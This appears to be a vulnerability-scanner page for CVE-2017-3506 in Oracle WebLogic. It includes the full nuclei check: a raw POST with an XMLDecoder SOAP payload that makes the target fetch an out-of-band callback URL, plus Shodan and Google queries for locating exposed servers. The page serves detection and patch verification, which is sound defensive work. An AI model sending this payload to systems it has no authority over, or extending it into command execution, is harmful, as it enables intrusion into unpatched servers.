Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution

Exploited in the wild. Listed by CISA on 2024-06-03; known to be used by ransomware.

highseverity

7.4CVSS score

96%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.

Fix

Apply the necessary patches or updates provided by Oracle to fix this vulnerability.

How to confirm it

Send: POST /wls-wsat/RegistrationRequesterPortType
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2017-3506 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-3506

info:
  name: Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution
  author: pdteam
  severity: high
  description: The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to fix this vulnerability.
  reference:
    - https://hackerone.com/reports/810778
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
    - http://www.securitytracker.com/id/1038296
    - https://github.com/CVEDB/top
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.4
    cve-id: CVE-2017-3506
    epss-score: 0.95991
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve,cve2017,rce,oast,hackerone,weblogic,oracle,kev,vkev,vuln

http:
  - raw:
      - |
        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
        Content-Type: text/xml;charset=UTF-8

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java version="1.8" class="java.beans.XMLDecoder">
                <void id="url" class="java.net.URL">
                  <string>http://{{interactsh-url}}</string>
                </void>
                <void idref="url">
                  <void id="stream" method ="openStream"/>
                </void>
              </java>
            </work:WorkContext>
            </soapenv:Header>
          <soapenv:Body/>
        </soapenv:Envelope>

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from